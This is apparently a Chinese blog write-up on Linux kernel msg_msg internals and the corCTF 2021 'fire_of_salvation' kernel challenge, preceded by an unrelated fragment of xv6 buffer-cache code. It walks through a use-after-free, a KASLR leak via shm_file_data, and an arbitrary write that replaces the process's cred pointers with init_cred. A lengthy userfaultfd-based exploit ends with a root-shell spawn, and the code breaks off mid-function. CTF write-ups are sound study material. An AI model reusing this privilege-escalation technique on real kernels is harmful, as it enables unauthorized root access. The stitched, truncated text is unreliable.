if(!b->valid) {
virtio_disk_rw(b, 0);
b->valid = 1;
}
// printf("bread-end\n");
return b;
}

// Write b's contents to disk. Must be locked.
void
bwrite(struct buf *b)
{
if(!holdingsleep(&b->lock))
panic("bwrite");
virtio_disk_rw(b, 1);
}

// Release a locked buffer.
// Move to the head of the most-recently-used list.
void
brelse(struct buf *b)
{
uint32 bid;
// printf("brelse-beg\n");
bid=HASH(b->blockno);
if(!holdingsleep(&b->lock))
panic("brelse");
// printf("re_sleep:%s\n",b->lock.name);
releasesleep(&b->lock);

// printf("brelse_lock_acq:%s\n",bcache.buckets[bid].lock.name);
acquire(&bcache.buckets[bid].lock);

// printf("brelse-end\n");
b->refcnt--;
acquire(&tickslock);
b->timetick = ticks;
release(&tickslock);
release(&bcache.buckets[bid].lock);
// printf("brelse_lock_re:%s\n",bcache.buckets[bid].lock.name);
}

void
bpin(struct buf *b) {
uint32 bid=HASH(b->blockno);
// printf("bpin_lock_acq:%s\n",bcache.buckets[bid].lock.name);
acquire(&bcache.buckets[bid].lock);
b->refcnt++;
release(&bcache.buckets[bid].lock);
// printf("bpin_lock_re:%s\n",bcache.buckets[bid].lock.name);
}

void
bunpin(struct buf *b) {
uint32 bid=HASH(b->blockno);
// printf("bunpin_lock_acq:%s\n",bcache.buckets[bid].lock.name);
acquire(&bcache.buckets[bid].lock);
b->refcnt--;
release(&bcache.buckets[bid].lock);
// printf("bunpin_lock_re:%s\n",bcache.buckets[bid].lock.name);
}

消息队列msg学习&msg利用

之前谢哥发了我两道kernelpwn的题目,都是比较简单的堆漏洞,但是堆的size不再是很好利用的0x20或者0x2e0了,然后搜了搜kernelpwn通用结构体发现还是没有当前size下可以利用的内核结构,经过谢哥提醒msg可以使用,但是看了会msg发现还是比较复杂的,然后就摆了,一摆就摆到了现在hh,痛定思痛,开始学习。

msg学习

基础介绍

消息队列msg和共享内存一样是linux提供的一种进程间通信方式(IPC),一般称他为IPC对象,在Linux中使用key来唯一标识,而且他们是可持续化,当进程创建了一个IPC对象之后,这个对象不会因为进程的退出而销毁,而是一直存在,直到调用IPC删除函数来删除。

消息队列的IPC对象,key和id之间的关系如下图,其中key是唯一的,唯一确定一个IPC对象,但是每个进程的id是可以变化的,id就相当于文件描述符,key就相当于文件名,IPC对象相当于文件内容。

系统IPC对象

常用函数介绍

ftok()

产生键值key_t ftok(const char *pathname, int proj_id);

msgget()

得到ipc对象的id值或者创建一个消息队列,当第一个参数可以是ftok创建的key或者IPC_PRIVATE,第二个参数控制创建消息队列的操作和读写权限。

1
int msgget(key_t key, int msgflg);

相关结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct msg_queue {
struct kern_ipc_perm q_perm;
time64_t q_stime; /* last msgsnd time */
time64_t q_rtime; /* last msgrcv time */
time64_t q_ctime; /* last change time */
unsigned long q_cbytes; /* current number of bytes on queue */
unsigned long q_qnum; /* number of messages in queue */
unsigned long q_qbytes; /* max number of bytes on queue */
struct pid *q_lspid; /* pid of last msgsnd */
struct pid *q_lrpid; /* last receive pid */

struct list_head q_messages;
struct list_head q_receivers;
struct list_head q_senders;
} __randomize_layout;

当调用了msgget()函数的时候,内核会调用ksys_msgget()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
long ksys_msgget(key_t key, int msgflg)
{
struct ipc_namespace *ns;
static const struct ipc_ops msg_ops = {
.getnew = newque,
.associate = security_msg_queue_associate,
};
struct ipc_params msg_params;

ns = current->nsproxy->ipc_ns;

msg_params.key = key;
msg_params.flg = msgflg;

return ipcget(ns, &msg_ids(ns), &msg_ops, &msg_params);
}

然后调用ipcget函数

1
2
3
4
5
6
7
8
int ipcget(struct ipc_namespace *ns, struct ipc_ids *ids,
const struct ipc_ops *ops, struct ipc_params *params)
{
if (params->key == IPC_PRIVATE)
return ipcget_new(ns, ids, ops, params);
else
return ipcget_public(ns, ids, ops, params);
}

当key=IPC_PRIVATE的时候,就会调用ipcget_new()创建一个新的消息队列

1
2
3
4
5
6
7
8
9
10
static int ipcget_new(struct ipc_namespace *ns, struct ipc_ids *ids,
const struct ipc_ops *ops, struct ipc_params *params)
{
int err;

down_write(&ids->rwsem);
err = ops->getnew(ns, params);
up_write(&ids->rwsem);
return err;
}

这个函数会调用ops->getnew(),在 ksys_msgget函数中,这个函数指针被赋值成newque,也就是会调用newque函数,这个函数主要就是初始化结构体msg_queue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
static int newque(struct ipc_namespace *ns, struct ipc_params *params)
{
struct msg_queue *msq;
int retval;
key_t key = params->key;
int msgflg = params->flg;

msq = kvmalloc(sizeof(*msq), GFP_KERNEL);
if (unlikely(!msq))
return -ENOMEM;

msq->q_perm.mode = msgflg & S_IRWXUGO;
msq->q_perm.key = key;

msq->q_perm.security = NULL;
retval = security_msg_queue_alloc(&msq->q_perm);
if (retval) {
kvfree(msq);
return retval;
}

msq->q_stime = msq->q_rtime = 0;
msq->q_ctime = ktime_get_real_seconds();
msq->q_cbytes = msq->q_qnum = 0;
msq->q_qbytes = ns->msg_ctlmnb;
msq->q_lspid = msq->q_lrpid = NULL;
INIT_LIST_HEAD(&msq->q_messages);
INIT_LIST_HEAD(&msq->q_receivers);
INIT_LIST_HEAD(&msq->q_senders);

/* ipc_addid() locks msq upon success. */
retval = ipc_addid(&msg_ids(ns), &msq->q_perm, ns->msg_ctlmni);
if (retval < 0) {
ipc_rcu_putref(&msq->q_perm, msg_rcu_free);
return retval;
}

ipc_unlock_object(&msq->q_perm);
rcu_read_unlock();

return msq->q_perm.id;
}

msgsnd()

msgsnd函数会向指定id对应的消息队列发送消息

1
int msgsnd(int  msqid , const void * msgp , size_t  msgsz , int  msgflg );

相关结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
struct msg_msg {//主消息段头部
struct list_head m_list; //消息双向链表指针
long m_type;
size_t m_ts; /* 消息大小 */
struct msg_msgseg *next; //指向消息第二段
void *security;
/* 后面接着消息的文本 */
};

struct msg_msgseg {//子消息段头部
struct msg_msgseg *next; //指向下一段的指针,最多三段
/* 后面接着消息第二/三段的文本 */
};

内核和执行ksys_msgsnd()函数

1
2
3
4
5
6
7
8
9
long ksys_msgsnd(int msqid, struct msgbuf __user *msgp, size_t msgsz,
int msgflg)
{
long mtype;

if (get_user(mtype, &msgp->mtype))
return -EFAULT;
return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg);
}

函数调用do_msgsnd()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
static long do_msgsnd(int msqid, long mtype, void __user *mtext,
size_t msgsz, int msgflg)
{
struct msg_queue *msq;
struct msg_msg *msg;
int err;
struct ipc_namespace *ns;
DEFINE_WAKE_Q(wake_q);

ns = current->nsproxy->ipc_ns;

if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)
return -EINVAL;
if (mtype < 1)
return -EINVAL;

msg = load_msg(mtext, msgsz);
if (IS_ERR(msg))
return PTR_ERR(msg);

msg->m_type = mtype;
msg->m_ts = msgsz;

rcu_read_lock();
msq = msq_obtain_object_check(ns, msqid);
if (IS_ERR(msq)) {
err = PTR_ERR(msq);
goto out_unlock1;
}

ipc_lock_object(&msq->q_perm);

for (;;) {
struct msg_sender s;

err = -EACCES;
if (ipcperms(ns, &msq->q_perm, S_IWUGO))
goto out_unlock0;

/* raced with RMID? */
if (!ipc_valid_object(&msq->q_perm)) {
err = -EIDRM;
goto out_unlock0;
}

err = security_msg_queue_msgsnd(&msq->q_perm, msg, msgflg);
if (err)
goto out_unlock0;

if (msg_fits_inqueue(msq, msgsz))
break;

/* queue full, wait: */
if (msgflg & IPC_NOWAIT) {
err = -EAGAIN;
goto out_unlock0;
}

/* enqueue the sender and prepare to block */
ss_add(msq, &s, msgsz);

if (!ipc_rcu_getref(&msq->q_perm)) {
err = -EIDRM;
goto out_unlock0;
}

ipc_unlock_object(&msq->q_perm);
rcu_read_unlock();
schedule();

rcu_read_lock();
ipc_lock_object(&msq->q_perm);

ipc_rcu_putref(&msq->q_perm, msg_rcu_free);
/* raced with RMID? */
if (!ipc_valid_object(&msq->q_perm)) {
err = -EIDRM;
goto out_unlock0;
}
ss_del(&s);

if (signal_pending(current)) {
err = -ERESTARTNOHAND;
goto out_unlock0;
}

}

ipc_update_pid(&msq->q_lspid, task_tgid(current));
msq->q_stime = ktime_get_real_seconds();

if (!pipelined_send(msq, msg, &wake_q)) {
/* no one is waiting for this message, enqueue it */
list_add_tail(&msg->m_list, &msq->q_messages);
msq->q_cbytes += msgsz;
msq->q_qnum++;
atomic_add(msgsz, &ns->msg_bytes);
atomic_inc(&ns->msg_hdrs);
}

err = 0;
msg = NULL;

out_unlock0:
ipc_unlock_object(&msq->q_perm);
wake_up_q(&wake_q);
out_unlock1:
rcu_read_unlock();
if (msg != NULL)
free_msg(msg);
return err;
}

函数首先对msgtype和msgsz进行了检查,然后调用load_msg(mtext, msgsz)来初始化msg_msg结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;

msg = alloc_msg(len);
if (msg == NULL)
return ERR_PTR(-ENOMEM);

alen = min(len, DATALEN_MSG);
if (copy_from_user(msg + 1, src, alen))
goto out_err;

for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
src = (char __user *)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen))
goto out_err;
}

err = security_msg_msg_alloc(msg);
if (err)
goto out_err;

return msg;

out_err:
free_msg(msg);
return ERR_PTR(err);
}

这个函数会先调用alloc_msg来请求msg_msg结构体所需要的空间.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#define DATALEN_MSG	((size_t)PAGE_SIZE-sizeof(struct msg_msg))
#define DATALEN_SEG ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))

static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;

alen = min(len, DATALEN_MSG);
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
if (msg == NULL)
return NULL;

msg->next = NULL;
msg->security = NULL;

len -= alen;
pseg = &msg->next;
while (len > 0) {
struct msg_msgseg *seg;

cond_resched();

alen = min(len, DATALEN_SEG);
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}

return msg;

out_err:
free_msg(msg);
return NULL;
}

通过这个函数可以看出msg结构体是可以扩充的,可以从0x40扩充到0x1000,这也是为什么msg_msg利用的范围这么广了。

而且当消息长度超过了0x1000-0x30还可以吧消息进行分段,最多分三段,结构图如下,所以一个消息的长度理论上最多是0x3000-0x30-0x8-0x8

在这里插入图片描述

函数申请完所有空间就返回到load_msg函数。

然后load_msg把用户空间的消息全部复制到刚申请的msg_msg和msg_msgseg上,就返回到do_msgsnd函数中,这个函数剩下的工作就是经过一堆检查然后把msg_msg链接到对应的消息队列中去,消息队列示意图如下。

在这里插入图片描述

msgrcv()

1
ssize_t msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg);

参数msqid:指定消息队列id,由msgget 返回。
参数msgp:接收消息用的结构体指针
参数msgsz:接收消息用的结构体大小
参数msgtyp:三种情况:
=0 : 读取消息队列中第一个消息

0 : 读取消息队列中类型为msgtyp 的第一个消息,如果msgflg 设置了MSG_EXCEPT 则会读取非msgtyp类型的第一个消息, 这个消息类型在msgsnd 里用msgbuf 结构体指定的;如果msgflg 设置了MSG_COPY则会读取队列中的第msgtyp个消息。
<0 : 读取消息队列中最小类型且小于等于msgtyp 绝对值的消息。
参数msgflg:通常使用下面的一些flag:
IPC_NOWAIT : 消息队列为空则不会阻塞。
MSG_EXCEPT : 跟上面msgtyp 联用,读取类型不是msgtyp 的第一条消息。
MSG_NOERROR : 消息长度超过msgsz 时截断消息。
MSG_COPY : 漏洞利用中会用到,内核会把消息队列中的消息拷贝一份返回用户空间而不会释放该条消息结构。
返回值:成功时返回读取的消息字节数,失败返回-1。

内核会调用do_msgrcv()函数,这个函数就会根据msgtype和msgflg来搜索到msg,然后把这个msg拷贝到用户空间的buf处,当msgflg!=MSG_COPY的时候 ,找到msg后就会把这个msg从消息队列中unlink,然后把信息复制给用户空间,然后再free这个msg

但是当msgflg=MSG_COPY的时候,会先申请一个新的msg,然后在消息队列中找到一个msg,然后把这个msg拷贝到新的msg中。然后再把新的msg的内容拷贝到用户态,最后释放新的msg.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
int mode;
struct msg_queue *msq;
struct ipc_namespace *ns;
struct msg_msg *msg, *copy = NULL;
DEFINE_WAKE_Q(wake_q);

ns = current->nsproxy->ipc_ns;

if (msqid < 0 || (long) bufsz < 0)
return -EINVAL;

if (msgflg & MSG_COPY) {
if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
return -EINVAL;
copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
if (IS_ERR(copy))
return PTR_ERR(copy);
}
mode = convert_mode(&msgtyp, msgflg);

rcu_read_lock();
msq = msq_obtain_object_check(ns, msqid);
if (IS_ERR(msq)) {
rcu_read_unlock();
free_copy(copy);
return PTR_ERR(msq);
}

for (;;) {
struct msg_receiver msr_d;

msg = ERR_PTR(-EACCES);
if (ipcperms(ns, &msq->q_perm, S_IRUGO))
goto out_unlock1;

ipc_lock_object(&msq->q_perm);

/* raced with RMID? */
if (!ipc_valid_object(&msq->q_perm)) {
msg = ERR_PTR(-EIDRM);
goto out_unlock0;
}

msg = find_msg(msq, &msgtyp, mode);
if (!IS_ERR(msg)) {
/*
* Found a suitable message.
* Unlink it from the queue.
*/
if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
msg = ERR_PTR(-E2BIG);
goto out_unlock0;
}
/*
* If we are copying, then do not unlink message and do
* not update queue parameters.
*/
if (msgflg & MSG_COPY) {
msg = copy_msg(msg, copy);
goto out_unlock0;
}

list_del(&msg->m_list);
msq->q_qnum--;
msq->q_rtime = ktime_get_real_seconds();
ipc_update_pid(&msq->q_lrpid, task_tgid(current));
msq->q_cbytes -= msg->m_ts;
atomic_sub(msg->m_ts, &ns->msg_bytes);
atomic_dec(&ns->msg_hdrs);
ss_wakeup(msq, &wake_q, false);

goto out_unlock0;
}

/* No message waiting. Wait for a message */
if (msgflg & IPC_NOWAIT) {
msg = ERR_PTR(-ENOMSG);
goto out_unlock0;
}

list_add_tail(&msr_d.r_list, &msq->q_receivers);
msr_d.r_tsk = current;
msr_d.r_msgtype = msgtyp;
msr_d.r_mode = mode;
if (msgflg & MSG_NOERROR)
msr_d.r_maxsize = INT_MAX;
else
msr_d.r_maxsize = bufsz;

/* memory barrier not require due to ipc_lock_object() */
WRITE_ONCE(msr_d.r_msg, ERR_PTR(-EAGAIN));

/* memory barrier not required, we own ipc_lock_object() */
__set_current_state(TASK_INTERRUPTIBLE);

ipc_unlock_object(&msq->q_perm);
rcu_read_unlock();
schedule();

/*
* Lockless receive, part 1:
* We don't hold a reference to the queue and getting a
* reference would defeat the idea of a lockless operation,
* thus the code relies on rcu to guarantee the existence of
* msq:
* Prior to destruction, expunge_all(-EIRDM) changes r_msg.
* Thus if r_msg is -EAGAIN, then the queue not yet destroyed.
*/
rcu_read_lock();

/*
* Lockless receive, part 2:
* The work in pipelined_send() and expunge_all():
* - Set pointer to message
* - Queue the receiver task for later wakeup
* - Wake up the process after the lock is dropped.
*
* Should the process wake up before this wakeup (due to a
* signal) it will either see the message and continue ...
*/
msg = READ_ONCE(msr_d.r_msg);
if (msg != ERR_PTR(-EAGAIN)) {
/* see MSG_BARRIER for purpose/pairing */
smp_acquire__after_ctrl_dep();

goto out_unlock1;
}

/*
* ... or see -EAGAIN, acquire the lock to check the message
* again.
*/
ipc_lock_object(&msq->q_perm);

msg = READ_ONCE(msr_d.r_msg);
if (msg != ERR_PTR(-EAGAIN))
goto out_unlock0;

list_del(&msr_d.r_list);
if (signal_pending(current)) {
msg = ERR_PTR(-ERESTARTNOHAND);
goto out_unlock0;
}

ipc_unlock_object(&msq->q_perm);
}

out_unlock0:
ipc_unlock_object(&msq->q_perm);
wake_up_q(&wake_q);
out_unlock1:
rcu_read_unlock();
if (IS_ERR(msg)) {
free_copy(copy);
return PTR_ERR(msg);
}

bufsz = msg_handler(buf, msg, bufsz);
free_msg(msg);

return bufsz;
}

msg利用

只要能控制了msg_msg后确实可以达到任意地址写和任意地址读,而且堆块范围是0x40~0x1000,感觉非常好用。

本文通过corCTF 2021两道内核题学习对msg_msg的利用。应该会很有难度,预计复现至少两天。(看完整个解题思路和长达400多行以及700多行的exp,🤦‍♀️坏了,不只是需要两天了。至少一周或者更久。。。

fire_of_salvation

题目给了源代码十分好审计,主要结构体如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
typedef struct
{
char iface[16];
char name[16];
char ip[16];
char netmask[16];
uint8_t idx;
uint8_t type;
uint16_t proto;
uint16_t port;
uint8_t action;
#ifdef EASY_MODE
char desc[DESC_MAX];
#endif
} user_rule_t;

typedef struct
{
char iface[16];
char name[16];
uint32_t ip;
uint32_t netmask;
uint16_t proto;
uint16_t port;
uint8_t action;
uint8_t is_duplicated;
#ifdef EASY_MODE
char desc[DESC_MAX];
#endif
} rule_t;

漏洞

漏洞出现在了dup()函数下,在全局指针数组中可以存储两次指向同一个堆块的指针,这导致可以释放两次同一个堆块,既可以doublefree又可以uaf.

填坑

令人感叹,距离写下上一段话到现在已经过了半个月了,确实懒狗了这下,本来想着学完mit6.s081后再继续学习二进制的,但是肝了一周了有点肝不动了,前面还好说,后面的课确实沾点难度了,一个半小时的课我得看三个小时才能啃下来,想起了msg还没学完,那就换个东西折磨我吧。

漏洞利用

由于开启了kaslr和fg_kaslr,所以肯定得先获取内核地址,但是注意由于开启了fg_kaslr之后就没有那么简单了,fg_kaslr会在kaslr上以函数粒度对地址再进一步打乱,这个打乱也是随机的,所以函数到内核基地址的偏移是随时发现变化的,但是fg_kaslr有些区域不会被打乱

1..text段

2.data段

3.__ksymtab

知道了上面区域的一些地址就可以知道内核的基地址了。在这道题中选择使用shm_file_data结构体来泄露内核data段地址进而知道内核基地址。其中ipc_namespace就指向内核data段。

1
2
3
4
5
6
7
struct shm_file_data
{
int id;
struct ipc_namespace *ns;
struct file *file;
const struct vm_operations_struct *vm_ops;
};

泄露地址可以分为一下几步

  • 1.首先构造一个4kb的uaf然后申请一个0xfd8大小的msg_msg,此时msg结构体如下图

image-20221017001913589

  • 2.堆喷,这样shm_file_data就可能落到struct msg_msg下面了
  • 3.利用uaf修改m_ts,这个变量记录了这个消息的大小,改大之后再MSG_COPY这个消息队列就可以可以得到struct msg_msg后面的堆的信息了,也就得到了内核基地址。
  • 4.利用基地址就可以算出init_credinit_task了,这两个结构体都在内核data段中,可以直接算出。

得到上面的地址就可以利用init_task来找到这个进程的task_struct了。

每个进程都有一个task_struct,内核使用双向循环表来组织这个结构体,字段为struct list_head tasks;

结构体如下

1
2
3
struct list_head {
struct list_head *next, *prev;
};

所以可以通过init_taskprev向上寻找,直到找到这个进程的task_struct

说白了就是通过修改msgnext字段完成任意读操作,关键是如何构造msg了,下面是作者给出的构造示意图,我也是按照这个进行构造的,我们得覆盖next让其指向task_struct的某一个地方,然后再读这个task_struct,但是对next的覆盖是有要求的,他所指向的地址的前八个字节必须为空,不然读取和写入的时候就会报错,具体原因看看源码就懂了。

其中struct list_head tasks在位于task_struct的0x298偏移出,其前八个字节刚好是null,所以可以让next指向task_struct_addr+0x290处。这样就可以读到task_structprevpid了,pid位于task_struct的0x398处,然后整一个循环读到当前进程的task_struct了。

img

注意prev并不指向上一个进程的task_struct的开头,而是指向其中的字段struct list_head tasks,所以减去0x298就得到当前task_struct的基地址了。

得到当前进程task_struct的基地址后就得构造任意地址写来完成对当前进程task_struct中的real_cred 和 cred指针的覆写,覆写成init_cred指针。

首先考虑msgnext应该指向哪里,read_credcred对于task_struct的偏移是0x538和0x540。real_cred的前八个字节刚好还是null,所以可以让next指向task_struct+0x538-0x8.

img

只要考虑清楚next的的取值问题,任意地址写就是套userfaulted的板子了,步骤如下

  • 先mmap一段ox2000的内存,然后在0x1000-0x8处填上mtype,把0x1000注册缺页处理,然后send_msg(msg_id, msg_buff, size - 0x30, 0);
  • 当msg进入缺页处理函数的时候,准备好page,其0xfd00xfd8处准备好init_cred,然后利用设备的edit修改msg的next指针

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <sched.h>
#include <pthread.h>
#include <byteswap.h>
#include <poll.h>
#include <assert.h>
#include <time.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/timerfd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/reboot.h>
#include <linux/userfaultfd.h>
#include <arpa/inet.h>
#include <sys/shm.h>
#include <sys/types.h>
#include <errno.h>
#include <sys/sem.h>
#include <semaphore.h>

#define ADD_RULE 0x1337babe
#define DELETE_RULE 0xdeadbabe
#define EDIT_RULE 0x1337beef
#define SHOW_RULE 0xdeadbeef
#define DUP_RULE 0xbaad5aad

#define UFFDIO_API 0xc018aa3f
#define UFFDIO_REGISTER 0xc020aa00
#define UFFDIO_UNREGISTER 0x8010aa01
#define UFFDIO_COPY 0xc028aa03
#define UFFDIO_ZEROPAGE 0xc020aa04
#define UFFDIO_WAKE 0x8010aa02


#define INBOUND 0
#define OUTBOUND 1
#define SKIP -1

char *page;
size_t page_size;

#define DESC_MAX 0x800
typedef struct
{
char iface[16];
char name[16];
char ip[16];
char netmask[16];
uint8_t idx;
uint8_t type;
uint16_t proto;
uint16_t port;
uint8_t action;
char desc[DESC_MAX];
} User_rule_t;

typedef struct
{
char iface[16];
char name[16];
uint32_t ip;
uint32_t netmask;
uint16_t proto;
uint16_t port;
uint8_t action;
uint8_t is_duplicated;
char desc[DESC_MAX];
} Rule_t;

typedef struct
{
long mtype;
char mtext[1];
}msg;

typedef struct
{
void *ll_next;
void *ll_prev;
long m_type;
size_t m_ts;
void *next;
void *security;
}msg_header;

size_t target_addr=0;
size_t init_cred_addr=0;
int fd=0;
err_exit(char *buf){
puts(buf);
exit(1);
}


int ioctl(int fd, unsigned long request, unsigned long param) //ioctl wrapper
{
printf("ioctl\n");
return syscall(__NR_ioctl, fd, request, param);
}

static pthread_t monitor_thread;
void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;

/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
err_exit("userfaultfd");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
err_exit("ioctl-UFFDIO_API");

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
err_exit("ioctl-UFFDIO_REGISTER");

s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
if (s != 0)
err_exit("pthread_create");
}
static void *
fault_handler_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1)
err_exit("poll");

nread = read(uffd, &msg, sizeof(msg));
memset(page,0,page_size);
memcpy(page+ 0x1000-0x30,&init_cred_addr,8);
memcpy(page+ 0x1000-0x30+8,&init_cred_addr,8);

msg_header fake_msg_header;
fake_msg_header.ll_next=(void *)0x4141414141414141;
fake_msg_header.ll_prev=(void *)0x4242424242424242;
fake_msg_header.m_ts=0x1000-0x30+0x8;
fake_msg_header.next=target_addr;
fake_msg_header.m_type=1;
edit_rule(fd,&fake_msg_header,1,OUTBOUND,1);
if (nread == 0)
err_exit("EOF on userfaultfd!\n");

if (nread == -1)
err_exit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
err_exit("Unexpected event on userfaultfd\n");

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
err_exit("ioctl-UFFDIO_COPY");

return NULL;
}
}

void usr_shell(){
puts("getshelling");
if(getuid()==0){
puts("[*]----getshell ok");
system("/bin/sh");
}else{
puts("[*] getshell fail");
}
}

void get_IPv4(uint32_t ip,char *ipv4){
memset(ipv4,0,0x10);

printf("%d.%d.%d.%d\n",(ip&0xff),(ip&0x0000ff00)>>8,(ip&0x00ff0000)>>16,(ip&0xff000000)>>24);

sprintf(ipv4,"%d.%d.%d.%d",(ip&0xff),(ip&0x0000ff00)>>8,(ip&0x00ff0000)>>16,(ip&0xff000000)>>24);
}

User_rule_t* init_user_rule(uint8_t idx,uint8_t type,u_int32_t ip,u_int32_t netmask){

User_rule_t *user_rule=(User_rule_t *)malloc(sizeof(User_rule_t));

user_rule->idx=idx;


get_IPv4(ip,&(user_rule->ip));

get_IPv4(netmask,&(user_rule->netmask));

user_rule->type=type;
printf("idx:%d\n",user_rule->idx);
return user_rule;
}

void add_rule(int fd,uint8_t idx,uint8_t type){
User_rule_t *user_rule_t=init_user_rule(idx,type,0x11,0x11);
printf("idx:%d\n",user_rule_t->idx);
int ret=ioctl(fd,ADD_RULE,user_rule_t);
if(ret<0){
err_exit("add fail");
}
}

void del_rule(int fd,uint8_t idx,uint8_t type){
User_rule_t *user_rule_t=init_user_rule(idx,type,0x11,0x11);
int ret=ioctl(fd,DELETE_RULE,user_rule_t);
if(ret<0){
err_exit("del fail");
}
}

void dup_rule(int fd,uint8_t idx,uint8_t type){
User_rule_t *user_rule_t=init_user_rule(idx,type,0x11,0x11);
int ret=ioctl(fd,DUP_RULE,user_rule_t);
if(ret<0){
err_exit("edit fail");
}
}

void edit_rule(int fd,char *buf,int idx,int type,int flags){
uint32_t ip=*(uint32_t *)(buf+0x20);
uint32_t netmask=*(uint32_t *)(buf+0x24);
